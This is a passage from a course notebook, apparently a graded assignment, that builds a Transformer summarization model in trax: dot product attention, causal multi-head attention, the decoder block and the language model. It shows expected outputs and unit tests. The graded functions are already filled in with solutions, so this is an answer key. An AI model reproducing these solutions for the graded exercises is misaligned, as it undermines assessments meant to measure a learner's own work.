summary.\n#  - All the trailing 0s represent `<pad>` tags which are appended to maintain consistent length (If you don't see them then it would mean it is already of max length)\n#  \n\n# In[11]:\n\n\n# print the article and its summary\nprint('Article:\\n\\n', detokenize(input_batch[0]))\n\n\n# You can see that the data has the following structure:\n# - <span style='color:blue'> [Article] </span> -> `<EOS>` -> `<pad>` -> <span style='color:blue'> [Article Summary] </span> -> `<EOS>` -> (possibly) multiple `<pad>`\n# \n# The loss is taken only on the summary using cross_entropy as loss function. \n\n# <a name='2'></a>\n# # Part 2: Summarization with transformer\n# \n# Now that we have given you the data generator and have handled the preprocessing for you, it is time for you to build your own model. We saved you some time because we know you have already preprocessed data before in this specialization, so we would rather you spend your time doing the next steps. \n# \n# You will be implementing the attention from scratch and then using it in your transformer model. Concretely, you will understand how attention works, how you use it to connect the encoder and the decoder.\n# \n# <img src=\"images/transformer_decoder_zoomin.png\">\n# \n# <a name='2.1'></a>\n# ## 2.1 Dot product attention \n# \n# Now you will implement dot product attention which takes in a query, key, value, and a mask. It returns the output. \n# \n# <img src =\"images/dotproduct.png\">\n# \n# \n# Here are some helper functions that will help you create tensors and display useful information:\n#    - `create_tensor`  creates a `jax numpy array` from a list of lists.\n#    - `display_tensor` prints out the shape and the actual tensor.\n\n# In[12]:\n\n\ndef create_tensor(t):\n    \"\"\"Create tensor from list of lists\"\"\"\n    return jnp.array(t)\n\n\ndef display_tensor(t, name):\n    \"\"\"Display shape and tensor\"\"\"\n    print(f'{name} shape: {t.shape}\\n')\n    print(f'{t}\\n')\n\n\n# Before implementing it yourself, you can play around with a toy example of `dot product attention` without the softmax  operation. Technically it would not be `dot product attention` without the softmax but this is done to avoid giving away too much of the answer and the idea is to display these tensors to give you a sense of how they look like.\n# \n# The formula for attention is this one:\n# \n# $$\n# \\text { Attention }(Q, K, V)=\\operatorname{softmax}\\left(\\frac{Q K^{T}}{\\sqrt{d_{k}}}+{M}\\right) V\\tag{1}\\\n# $$\n# \n# $d_{k}$ stands for the dimension of queries and keys.\n# \n# The `query`, `key`, `value` and `mask` vectors are provided for this example.\n# \n# Notice that the masking is done using very negative values that will yield a similar effect to using $-\\infty $. \n\n# In[13]:\n\n\nq = create_tensor([[1, 0, 0], [0, 1, 0]])\ndisplay_tensor(q, 'query')\nk = create_tensor([[1, 2, 3], [4, 5, 6]])\ndisplay_tensor(k, 'key')\nv = create_tensor([[0, 1, 0], [1, 0, 1]])\ndisplay_tensor(v, 'value')\nm = create_tensor([[0, 0], [-1e9, 0]])\ndisplay_tensor(m, 'mask')\n\n\n# **Expected Output:**\n# ```CPP\n# query shape: (2, 3)\n# \n# [[1 0 0]\n#  [0 1 0]]\n# \n# key shape: (2, 3)\n# \n# [[1 2 3]\n#  [4 5 6]]\n# \n# value shape: (2, 3)\n# \n# [[0 1 0]\n#  [1 0 1]]\n# \n# mask shape: (2, 2)\n# \n# [[ 0.e+00  0.e+00]\n#  [-1.e+09  0.e+00]]\n# \n# ```\n\n# In[14]:\n\n\nq_dot_k = q @ k.T / jnp.sqrt(3)\ndisplay_tensor(q_dot_k, 'query dot key')\n\n\n# **Expected Output:**\n# ```CPP\n# query dot key shape: (2, 2)\n# \n# [[0.57735026 2.309401  ]\n#  [1.1547005  2.8867514 ]]\n# ```\n\n# In[15]:\n\n\nmasked = q_dot_k + m\ndisplay_tensor(masked, 'masked query dot key')\n\n\n# **Expected Output:**\n# ```CPP\n# masked query dot key shape: (2, 2)\n# \n# [[ 5.7735026e-01  2.3094010e+00]\n#  [-1.0000000e+09  2.8867514e+00]]\n# ```\n\n# In[16]:\n\n\ndisplay_tensor(masked @ v, 'masked query dot key dot value')\n\n\n# **Expected Output:**\n# ```CPP\n# masked query dot key dot value shape: (2, 3)\n# \n# [[ 2.3094010e+00  5.7735026e-01  2.3094010e+00]\n#  [ 2.8867514e+00 -1.0000000e+09  2.8867514e+00]]\n# ```\n\n# In order to use the previous dummy tensors to test some of the graded functions, a batch dimension should be added to them so they mimic the shape of real-life examples. The mask is also replaced by a version of it that resembles the one that is used by trax:\n\n# In[17]:\n\n\nq_with_batch = q[None,:]\ndisplay_tensor(q_with_batch, 'query with batch dim')\nk_with_batch = k[None,:]\ndisplay_tensor(k_with_batch, 'key with batch dim')\nv_with_batch = v[None,:]\ndisplay_tensor(v_with_batch, 'value with batch dim')\nm_bool = create_tensor([[True, True], [False, True]])\ndisplay_tensor(m_bool, 'boolean mask')\n\n\n# **Expected Output:**\n# ```CPP\n# query with batch dim shape: (1, 2, 3)\n# \n# [[[1 0 0]\n#   [0 1 0]]]\n# \n# key with batch dim shape: (1, 2, 3)\n# \n# [[[1 2 3]\n#   [4 5 6]]]\n# \n# value with batch dim shape: (1, 2, 3)\n# \n# [[[0 1 0]\n#   [1 0 1]]]\n# \n# boolean mask shape: (2, 2)\n# \n# [[ True  True]\n#  [False  True]]\n# ```\n\n# <a name='ex01'></a>\n# ### Exercise 01\n# \n# **Instructions:** Implement the dot product attention. Concretely, implement the following equation\n# \n# \n# $$\n# \\text { Attention }(Q, K, V)=\\operatorname{softmax}\\left(\\frac{Q K^{T}}{\\sqrt{d_{k}}}+{M}\\right) V\\tag{1}\\\n# $$\n# \n# $Q$ - query, \n# $K$ - key, \n# $V$ - values, \n# $M$ - mask, \n# ${d_k}$ - depth/dimension of the queries and keys (used for scaling down)\n# \n# You can implement this formula either by `trax` numpy (trax.math.numpy) or regular `numpy` but it is recommended to use `jnp`.\n# \n# Something to take into consideration is that within trax, the masks are tensors of `True/False` values not 0's and $-\\infty$ as in the previous example. Within the graded function don't think of applying the mask by summing up matrices, instead use `jnp.where()` and treat the **mask as a tensor of boolean values with `False` for values that need to be masked and True for the ones that don't.**\n# \n# Also take into account that the real tensors are far more complex than the toy ones you just played with. Because of this avoid using shortened operations such as `@` for dot product or `.T` for transposing. Use `jnp.matmul()` and `jnp.swapaxes()` instead.\n# \n# This is the self-attention block for the transformer decoder. Good luck!  \n\n# In[18]:\n\n\n# UNQ_C1\n# GRADED FUNCTION: DotProductAttention\ndef DotProductAttention(query, key, value, mask):\n    \"\"\"Dot product self-attention.\n    Args:\n        query (jax.interpreters.xla.DeviceArray): array of query representations with shape (L_q by d)\n        key (jax.interpreters.xla.DeviceArray): array of key representations with shape (L_k by d)\n        value (jax.interpreters.xla.DeviceArray): array of value representations with shape (L_k by d) where L_v = L_k\n        mask (jax.interpreters.xla.DeviceArray): attention-mask, gates attention with shape (L_q by L_k)\n\n    Returns:\n        jax.interpreters.xla.DeviceArray: Self-attention array for q, k, v arrays. (L_q by L_k)\n    \"\"\"\n\n    assert query.shape[-1] == key.shape[-1] == value.shape[-1], \"Embedding dimensions of q, k, v aren't all the same\"\n\n    ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n    # Save depth/dimension of the query embedding for scaling down the dot product\n    depth = query.shape[-1] \n\n    # Calculate scaled query key dot product according to formula above\n    dots = jnp.matmul(query, jnp.swapaxes(key, -1, -2)) / jnp.sqrt(depth)\n    \n    # Apply the mask\n    if mask is not None: # You do not need to replace the 'None' on this line\n        dots = jnp.where(mask, dots, jnp.full_like(dots, -1e9))\n    \n    # Softmax formula implementation\n    # Use trax.fastmath.logsumexp of masked_qkT to avoid underflow by division by large numbers\n    # Note: softmax = None\n    logsumexp = trax.fastmath.logsumexp(dots, axis=-1, keepdims=True)\n\n    # Take exponential of dots minus logsumexp to get softmax\n    # Use jnp.exp()\n    dots = jnp.exp(dots - logsumexp)\n\n    # Multiply dots by value to get self-attention\n    # Use jnp.matmul()\n    attention = jnp.matmul(dots, value)\n\n    ## END CODE HERE ###\n    \n    return attention\n\n\n# In[19]:\n\n\nDotProductAttention(q_with_batch, k_with_batch, v_with_batch, m_bool)\n\n\n# **Expected Output:**\n# ```CPP\n# DeviceArray([[[0.8496746 , 0.15032545, 0.8496746 ],\n#               [1.        , 0.        , 1.        ]]], dtype=float32)\n# ```    \n\n# In[20]:\n\n\n# UNIT TEST\n#\u00a0test DotProductAttention\nw2_tests.test_DotProductAttention(DotProductAttention)\n\n\n# <a name='2.2'></a>\n# \n# ## 2.2 Causal Attention\n# \n# Now you are going to implement causal attention: multi-headed attention with a mask to attend only to words that occurred before. \n# \n# <img src = \"images/causal.png\">\n# \n# In the image above, a word can see everything that is before it, but not what is after it. To implement causal attention, you will have to transform vectors and do many reshapes. You will need to implement the functions below.\n# \n# \n# <a name='ex02'></a>\n# ### Exercise 02\n# \n# Implement the following functions that will be needed for Causal Attention:\n# \n# - <span style='color:blue'> compute_attention_heads </span>: Gets an input $x$ of dimension (n_batch, seqlen, n_heads $\\times$ d_head) and splits the last (depth) dimension and stacks it to the zeroth dimension to allow matrix multiplication (n_batch $\\times$ n_heads, seqlen, d_head).\n# - <span style='color:blue'> dot_product_self_attention </span>: Creates a mask matrix with `False` values above the diagonal and `True` values below and calls DotProductAttention which implements dot product self attention.\n# - <span style='color:blue'> compute_attention_output </span>: Undoes compute_attention_heads by splitting first (vertical) dimension and stacking in the last (depth) dimension (n_batch, seqlen, n_heads $\\times$ d_head). These operations concatenate (stack/merge) the heads. \n# \n# Next there are some toy tensors which may serve to give you an idea of the data shapes and opperations involved in Causal Attention. They are also useful to test out your functions! \n\n# In[21]:\n\n\ntensor2d = create_tensor(q)\ndisplay_tensor(tensor2d, 'query matrix (2D tensor)')\n\ntensor4d2b = create_tensor([[q, q], [q, q]])\ndisplay_tensor(tensor4d2b, 'batch of two (multi-head) collections of query matrices (4D tensor)')\n\ntensor3dc = create_tensor([jnp.concatenate([q, q], axis = -1)])\ndisplay_tensor(tensor3dc, 'one batch of concatenated heads of query matrices (3d tensor)')\n\ntensor3dc3b = create_tensor([jnp.concatenate([q, q], axis = -1), jnp.concatenate([q, q], axis = -1), jnp.concatenate([q, q], axis = -1)])\ndisplay_tensor(tensor3dc3b, 'three batches of concatenated heads of query matrices (3d tensor)')\n\n\n# It is important to know that the following 3 functions would normally be defined within the `CausalAttention` function further below. \n# \n# However this makes these functions harder to test. Because of this, these functions are shown individually using a `closure` (when necessary) that simulates them being inside of the `CausalAttention` function. This is done because they rely on some variables that can be accessed from within `CausalAttention`.\n# \n# ### Support Functions\n# \n# <span style='color:blue'> compute_attention_heads </span>: Gets an input $x$ of dimension (n_batch, seqlen, n_heads $\\times$ d_head) and splits the last (depth) dimension and stacks it to the zeroth dimension to allow matrix multiplication (n_batch $\\times$ n_heads, seqlen, d_head).\n# \n# **For the closures you only have to fill the inner function.**\n\n# In[22]:\n\n\n# UNQ_C2\n# GRADED FUNCTION: compute_attention_heads_closure\ndef compute_attention_heads_closure(n_heads, d_head):\n    \"\"\" Function that simulates environment inside CausalAttention function.\n    Args:\n        d_head (int):  dimensionality of heads\n        n_heads (int): number of attention heads\n    Returns:\n        function: compute_attention_heads function\n    \"\"\"\n\n    def compute_attention_heads(x):\n        \"\"\" Compute the attention heads.\n        Args:\n            x (jax.interpreters.xla.DeviceArray): tensor with shape (n_batch, seqlen, n_heads X d_head).\n        Returns:\n            jax.interpreters.xla.DeviceArray: reshaped tensor with shape (n_batch X n_heads, seqlen, d_head).\n        \"\"\"\n        ### START CODE HERE ###\n        # (REPLACE INSTANCES OF 'None' WITH YOUR CODE)\n        \n        # Size of the x's batch dimension\n        batch_size = x.shape[0]\n        # Length of the sequence\n        # Should be size of x's first dimension without counting the batch dim\n        seqlen = x.shape[1]\n        # Reshape x using jnp.reshape()\n        # n_batch, seqlen, n_heads*d_head -> n_batch, seqlen, n_heads, d_head\n        x = jnp.reshape(x, (batch_size, seqlen, n_heads, d_head))\n        # Transpose x using jnp.transpose()\n        # n_batch, seqlen, n_heads, d_head -> n_batch, n_heads, seqlen, d_head\n        # Note that the values within the tuple are the indexes of the dimensions of x and you must rearrange them\n        x = jnp.transpose(x, (0, 2, 1, 3))\n        # Reshape x using jnp.reshape()\n        # n_batch, n_heads, seqlen, d_head -> n_batch*n_heads, seqlen, d_head\n        x = jnp.reshape(x, (-1, seqlen, d_head))\n        \n        ### END CODE HERE ###\n\n        return x\n    return compute_attention_heads\n\n\n# In[23]:\n\n\ndisplay_tensor(tensor3dc3b, \"input tensor\")\nresult_cah = compute_attention_heads_closure(2,3)(tensor3dc3b)\ndisplay_tensor(result_cah, \"output tensor\")\n\n\n# **Expected Output:**\n# ```CPP\n# input tensor shape: (3, 2, 6)\n# \n# [[[1 0 0 1 0 0]\n#   [0 1 0 0 1 0]]\n# \n#  [[1 0 0 1 0 0]\n#   [0 1 0 0 1 0]]\n# \n#  [[1 0 0 1 0 0]\n#   [0 1 0 0 1 0]]]\n# \n# output tensor shape: (6, 2, 3)\n# \n# [[[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]]\n# ```\n\n# In[24]:\n\n\n# UNIT TEST\n#\u00a0test compute_attention_heads_closure\nw2_tests.test_compute_attention_heads_closure(compute_attention_heads_closure)\n\n\n# <span style='color:blue'> dot_product_self_attention </span>: Creates a mask matrix with `False` values above the diagonal and `True` values below and calls DotProductAttention which implements dot product self attention.\n\n# In[25]:\n\n\n# UNQ_C3\n# GRADED FUNCTION: dot_product_self_attention\ndef dot_product_self_attention(q, k, v):\n    \"\"\" Masked dot product self attention.\n    Args:\n        q (jax.interpreters.xla.DeviceArray): queries.\n        k (jax.interpreters.xla.DeviceArray): keys.\n        v (jax.interpreters.xla.DeviceArray): values.\n    Returns:\n        jax.interpreters.xla.DeviceArray: masked dot product self attention tensor.\n    \"\"\"\n    ### START CODE HERE (REPLACE INSTANCES OF 'None' with your code) ###\n    \n    # Hint: mask size should be equal to L_q. Remember that q has shape (batch_size, L_q, d)\n    mask_size = q.shape[-2]\n\n\n    # Creates a matrix with ones below the diagonal and 0s above. It should have shape (1, mask_size, mask_size)\n    # Notice that 1's and 0's get casted to True/False by setting dtype to jnp.bool_\n    # Use jnp.tril() - Lower triangle of an array and jnp.ones()\n    mask = jnp.tril(jnp.ones((1, mask_size, mask_size), dtype=jnp.bool_), k=0)\n    \n    ### END CODE HERE ###\n    \n    return DotProductAttention(q, k, v, mask)\n\n\n# In[26]:\n\n\ndot_product_self_attention(q_with_batch, k_with_batch, v_with_batch)\n\n\n# **Expected Output:**\n# ```CPP\n# DeviceArray([[[0.        , 1.        , 0.        ],\n#               [0.8496746 , 0.15032543, 0.8496746 ]]], dtype=float32)\n# ```\n\n# In[27]:\n\n\n# UNIT TEST\n#\u00a0test dot_product_self_attention\nw2_tests.test_dot_product_self_attention(dot_product_self_attention)\n\n\n# <span style='color:blue'> compute_attention_output </span>: Undoes compute_attention_heads by splitting first (vertical) dimension and stacking in the last (depth) dimension (n_batch, seqlen, n_heads $\\times$ d_head). These operations concatenate (stack/merge) the heads. \n\n# In[28]:\n\n\n# UNQ_C4\n# GRADED FUNCTION: compute_attention_output_closure\ndef compute_attention_output_closure(n_heads, d_head):\n    \"\"\" Function that simulates environment inside CausalAttention function.\n    Args:\n        d_head (int):  dimensionality of heads\n        n_heads (int): number of attention heads\n    Returns:\n        function: compute_attention_output function\n    \"\"\"\n    \n    def compute_attention_output(x):\n        \"\"\" Compute the attention output.\n        Args:\n            x (jax.interpreters.xla.DeviceArray): tensor with shape (n_batch X n_heads, seqlen, d_head).\n        Returns:\n            jax.interpreters.xla.DeviceArray: reshaped tensor with shape (n_batch, seqlen, n_heads X d_head).\n        \"\"\"\n        ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n        \n        # Length of the sequence\n        # Should be size of x's first dimension without counting the batch dim\n        seqlen = x.shape[1]\n        # Reshape x using jnp.reshape() to shape (n_batch, n_heads, seqlen, d_head)\n        x = jnp.reshape(x, ( -1, n_heads, seqlen, d_head))\n        # Transpose x using jnp.transpose() to shape (n_batch, seqlen, n_heads, d_head)\n        x = jnp.transpose(x, ( 0, 2, 1 , 3))\n        \n        ### END CODE HERE ###\n        \n        # Reshape to allow to concatenate the heads\n        return jnp.reshape(x, (-1, seqlen, n_heads * d_head))\n    return compute_attention_output\n\n\n# In[29]:\n\n\ndisplay_tensor(result_cah, \"input tensor\")\nresult_cao = compute_attention_output_closure(2,3)(result_cah)\ndisplay_tensor(result_cao, \"output tensor\")\n\n\n# **Expected Output:**\n# ```CPP\n# input tensor shape: (6, 2, 3)\n# \n# [[[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]\n# \n#  [[1 0 0]\n#   [0 1 0]]]\n# \n# output tensor shape: (3, 2, 6)\n# \n# [[[1 0 0 1 0 0]\n#   [0 1 0 0 1 0]]\n# \n#  [[1 0 0 1 0 0]\n#   [0 1 0 0 1 0]]\n# \n#  [[1 0 0 1 0 0]\n#   [0 1 0 0 1 0]]]\n# ```\n\n# In[30]:\n\n\n# UNIT TEST\n#\u00a0test compute_attention_output_closure\nw2_tests.test_compute_attention_output_closure(compute_attention_output_closure)\n\n\n# ### Causal Attention Function\n# \n# Now it is time for you to put everything together within the `CausalAttention` or Masked multi-head attention function:\n\n# <img src = \"images/masked-attention.png\"> \n# \n# **Instructions:** Implement the causal attention.\n# Your model returns the causal attention through a $tl.Serial$ with the following:\n# \n# - <span style='color:blue'> [tl.Branch](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.combinators.Branch) </span>: consisting of 3 [tl.Dense(d_feature), ComputeAttentionHeads] to account for the queries, keys, and values.\n# - <span style='color:blue'> [tl.Fn](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.base.Fn)</span>: Takes in dot_product_self_attention function and uses it to compute the dot product using $Q$, $K$, $V$.\n# - <span style='color:blue'> [tl.Fn](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.base.Fn)</span>: Takes in compute_attention_output_closure to allow for parallel computing.\n# - <span style='color:blue'> [tl.Dense](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dense)</span>: Final Dense layer, with dimension `d_feature`.\n# \n# Remember that in order for trax to properly handle the functions you just defined, they need to be added as layers using the [`tl.Fn()`](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.base.Fn) function. \n\n# In[33]:\n\n\n# UNQ_C5\n# GRADED FUNCTION: CausalAttention\ndef CausalAttention(d_feature, \n                    n_heads, \n                    compute_attention_heads_closure=compute_attention_heads_closure,\n                    dot_product_self_attention=dot_product_self_attention,\n                    compute_attention_output_closure=compute_attention_output_closure,\n                    mode='train'):\n    \"\"\"Transformer-style multi-headed causal attention.\n\n    Args:\n        d_feature (int):  dimensionality of feature embedding.\n        n_heads (int): number of attention heads.\n        compute_attention_heads_closure (function): Closure around compute_attention heads.\n        dot_product_self_attention (function): dot_product_self_attention function. \n        compute_attention_output_closure (function): Closure around compute_attention_output. \n        mode (str): 'train' or 'eval'.\n\n    Returns:\n        trax.layers.combinators.Serial: Multi-headed self-attention model.\n    \"\"\"\n    \n    assert d_feature % n_heads == 0\n    d_head = d_feature // n_heads\n\n    ### START CODE HERE ###\n    #\u00a0(REPLACE INSTANCES OF 'None' WITH YOUR CODE)\n    \n    # HINT: The second argument to tl.Fn() is an uncalled function (without the parentheses)\n    # Since you are dealing with closures you might need to call the outer \n    # function with the correct parameters to get the actual uncalled function.\n    ComputeAttentionHeads = tl.Fn('AttnHeads', compute_attention_heads_closure(n_heads, d_head), n_out=1)\n        \n\n    return tl.Serial(\n        tl.Branch( # creates three towers for one input, takes activations and creates queries keys and values\n            [tl.Dense(d_feature), ComputeAttentionHeads], # queries\n            [tl.Dense(d_feature), ComputeAttentionHeads], # keys\n            [tl.Dense(d_feature), ComputeAttentionHeads], # values\n        ),\n        \n        tl.Fn('DotProductAttn', dot_product_self_attention, n_out=1), # takes QKV\n        # HINT: The second argument to tl.Fn() is an uncalled function\n        # Since you are dealing with closures you might need to call the outer \n        # function with the correct parameters to get the actual uncalled function.\n        tl.Fn('AttnOutput', compute_attention_output_closure(n_heads, d_head), n_out=1), # to allow for parallel\n        tl.Dense(d_feature)\n    )\n\n    ### END CODE HERE ###\n\n\n# In[34]:\n\n\n# Take a look at the causal attention model\nprint(CausalAttention(d_feature=512, n_heads=8))\n\n\n# **Expected Output:**\n# ```CPP\n# Serial[\n#   Branch_out3[\n#     [Dense_512, AttnHeads]\n#     [Dense_512, AttnHeads]\n#     [Dense_512, AttnHeads]\n#   ]\n#   DotProductAttn_in3\n#   AttnOutput\n#   Dense_512\n# ]\n# ```\n\n# In[35]:\n\n\n# UNIT TEST\n#\u00a0test CausalAttention\nw2_tests.test_CausalAttention(CausalAttention)\n\n\n# <a name='2.3'></a>\n# \n# ## 2.3 Transformer decoder block\n# \n# Now that you have implemented the causal part of the transformer, you will implement the transformer decoder block. Concretely you will be implementing this image now.\n# \n# <img src = \"images/transformer_decoder_1.png\" style = \"height:300px\"> \n# \n# To implement this function, you will have to call the `CausalAttention` or Masked multi-head attention function you implemented above. You will have to add a feedforward which consists of: \n# \n# - <span style='color:blue'> [tl.LayerNorm](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.normalization.LayerNorm) </span>: used to layer normalize\n# - <span style='color:blue'> [tl.Dense](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dense) </span>: the dense layer\n# - <span style='color:blue'> [ff_activation](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.activation_fns.Relu) </span>: feed forward activation (we use ReLu) here.\n# - <span style='color:blue'> [tl.Dropout](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dropout) </span>: dropout layer\n# - <span style='color:blue'> [tl.Dense](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dense) </span>: dense layer\n# - <span style='color:blue'> [tl.Dropout](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dropout) </span>: dropout layer\n# \n# Finally once you implement the feedforward, you can go ahead and implement the entire block using: \n# \n# - <span style='color:blue'> [tl.Residual](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.combinators.Residual) </span>: takes in the tl.LayerNorm(), causal attention block, tl.dropout. \n# \n# - <span style='color:blue'> [tl.Residual](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.combinators.Residual) </span>: takes in the feedforward block you will implement. \n# \n# <a name='ex03'></a>\n# ### Exercise 03\n# **Instructions:** Implement the transformer decoder block. Good luck!\n\n# In[36]:\n\n\n# UNQ_C6\n# GRADED FUNCTION: DecoderBlock\ndef DecoderBlock(d_model, d_ff, n_heads,\n                 dropout, mode, ff_activation):\n    \"\"\"Returns a list of layers that implements a Transformer decoder block.\n\n    The input is an activation tensor.\n\n    Args:\n        d_model (int):  depth of embedding.\n        d_ff (int): depth of feed-forward layer.\n        n_heads (int): number of attention heads.\n        dropout (float): dropout rate (how much to drop out).\n        mode (str): 'train' or 'eval'.\n        ff_activation (function): the non-linearity in feed-forward layer.\n\n    Returns:\n        list: list of trax.layers.combinators.Serial that maps an activation tensor to an activation tensor.\n    \"\"\"\n    \n    ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n    \n    # Create masked multi-head attention block using CausalAttention function\n    causal_attention = CausalAttention( \n                        d_model,\n                        n_heads=n_heads,\n                        mode=mode\n                        )\n\n    # Create feed-forward block (list) with two dense layers with dropout and input normalized\n    feed_forward = [ \n        # Normalize layer inputs\n        tl.LayerNorm(),\n        # Add first feed forward (dense) layer (don't forget to set the correct value for n_units)\n        tl.Dense(d_ff),\n        # Add activation function passed in as a parameter (you need to call it!)\n        ff_activation(), # Generally ReLU\n        # Add dropout with rate and mode specified (i.e., don't use dropout during evaluation)\n        tl.Dropout(rate=dropout, mode=mode),\n        # Add second feed forward layer (don't forget to set the correct value for n_units)\n        tl.Dense(d_model),\n        # Add dropout with rate and mode specified (i.e., don't use dropout during evaluation)\n        tl.Dropout(rate=dropout,mode=mode)\n    ]\n\n    # Add list of two Residual blocks: the attention with normalization and dropout and feed-forward blocks\n    return [\n      tl.Residual(\n          # Normalize layer input\n          tl.LayerNorm(),\n          # Add causal attention block previously defined (without parentheses)\n          causal_attention,\n          # Add dropout with rate and mode specified\n          tl.Dropout(rate=dropout, mode=mode)\n        ),\n      tl.Residual(\n          # Add feed forward block (without parentheses)\n          feed_forward\n        ),\n      ]\n    ### END CODE HERE ###\n\n\n# In[37]:\n\n\n# Take a look at the decoder block\nprint(DecoderBlock(d_model=512, d_ff=2048, n_heads=8, dropout=0.1, mode='train', ff_activation=tl.Relu))\n\n\n# **Expected Output:**\n# ```CPP\n# [Serial[\n#   Branch_out2[\n#     None\n#     Serial[\n#       LayerNorm\n#       Serial[\n#         Branch_out3[\n#           [Dense_512, AttnHeads]\n#           [Dense_512, AttnHeads]\n#           [Dense_512, AttnHeads]\n#         ]\n#         DotProductAttn_in3\n#         AttnOutput\n#         Dense_512\n#       ]\n#       Dropout\n#     ]\n#   ]\n#   Add_in2\n# ], Serial[\n#   Branch_out2[\n#     None\n#     Serial[\n#       LayerNorm\n#       Dense_2048\n#       Serial[\n#         Relu\n#       ]\n#       Dropout\n#       Dense_512\n#       Dropout\n#     ]\n#   ]\n#   Add_in2\n# ]]\n# ```\n\n# In[38]:\n\n\n# UNIT TEST\n#\u00a0test DecoderBlock\nw2_tests.test_DecoderBlock(DecoderBlock)\n\n\n# <a name='2.4'></a>\n# ## 2.4 Transformer Language Model\n# \n# You will now bring it all together. In this part you will use all the subcomponents you previously built to make the final model. Concretely, here is the image you will be implementing. \n# <img src = \"images/transformer_decoder.png\" style = \"height:400px\">\n# \n#     \n# <a name='ex04'></a>\n# ### Exercise 04\n# **Instructions:** Previously you coded the decoder block. Now you will code the transformer language model. Here is what you will need. \n# \n# - <span style=\"color:blue\"> positional_enconder </span>- a list containing the following layers:\n#     - <span style=\"color:blue\"> [tl.Embedding](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Embedding)\n#     - <span style=\"color:blue\"> [tl.Dropout](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dropout)\n#     - <span style=\"color:blue\"> [tl.PositionalEncoding](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.attention.PositionalEncoding)\n# \n# - A list of `n_layers` <span style=\"color:blue\"> decoder blocks</span>.\n# - <span style=\"color:blue\"> [tl.Serial](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.combinators.Serial): </span> takes in the following layers or lists of layers:\n#     - <span style=\"color:blue\"> [tl.ShiftRight](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.attention.ShiftRight): </span>: shift the tensor to the right by padding on axis 1.\n#     - <span style=\"color:blue\"> positional_encoder </span>: encodes the text positions.\n#     - <span style=\"color:blue\"> decoder_blocks </span>: the ones you created.\n#     - <span style=\"color:blue\"> [tl.LayerNorm](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.normalization.LayerNorm) </span>: a layer norm.\n#     - <span style=\"color:blue\"> [tl.Dense](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.Dense) </span>: takes in the vocab_size.\n#     - <span style=\"color:blue\"> [tl.LogSoftmax](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.core.LogSoftmax) </span>: to predict.\n#     \n# Go go go!! You can do it :)\n# \n# \n\n# In[39]:\n\n\n# UNQ_C7\n# GRADED FUNCTION: TransformerLM\ndef TransformerLM(vocab_size=33300,\n                  d_model=512,\n                  d_ff=2048,\n                  n_layers=6,\n                  n_heads=8,\n                  dropout=0.1,\n                  max_len=4096,\n                  mode='train',\n                  ff_activation=tl.Relu):\n    \"\"\"Returns a Transformer language model.\n\n    The input to the model is a tensor of tokens. (This model uses only the\n    decoder part of the overall Transformer.)\n\n    Args:\n        vocab_size (int): vocab size.\n        d_model (int):  depth of embedding.\n        d_ff (int): depth of feed-forward layer.\n        n_layers (int): number of decoder layers.\n        n_heads (int): number of attention heads.\n        dropout (float): dropout rate (how much to drop out).\n        max_len (int): maximum symbol length for positional encoding.\n        mode (str): 'train', 'eval' or 'predict', predict mode is for fast inference.\n        ff_activation (function): the non-linearity in feed-forward layer.\n\n    Returns:\n        trax.layers.combinators.Serial: A Transformer language model as a layer that maps from a tensor of tokens\n        to activations over a vocab set.\n    \"\"\"\n    \n    ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n    \n    # Embedding inputs and positional encoder\n    positional_encoder = [ \n        # Add embedding layer of dimension (vocab_size, d_model)\n        tl.Embedding(vocab_size, d_model),\n        # Use dropout with rate and mode specified\n        tl.Dropout(rate=dropout, mode=mode),\n        # Add positional encoding layer with maximum input length and mode specified\n        tl.PositionalEncoding(max_len=max_len, mode=mode)]\n\n    # Create stack (list) of decoder blocks with n_layers with necessary parameters\n    decoder_blocks = [ \n        DecoderBlock(d_model, d_ff, n_heads,\n                    dropout, mode, ff_activation) for _ in range(n_layers)]\n\n    # Create the complete model as written in the figure\n    return tl.Serial(\n        # Use teacher forcing (feed output of previous step to current step)\n        tl.ShiftRight(mode=mode), # Specify the mode!\n        # Add positional encoder\n        positional_encoder,\n        # Add decoder blocks\n        decoder_blocks,\n        # Normalize layer\n        tl.LayerNorm(),\n\n        # Add dense layer of vocab_size (since need to select a word to translate to)\n        # (a.k.a., logits layer. Note: activation already set by ff_activation)\n        tl.Dense(vocab_size),\n        # Get probabilities with 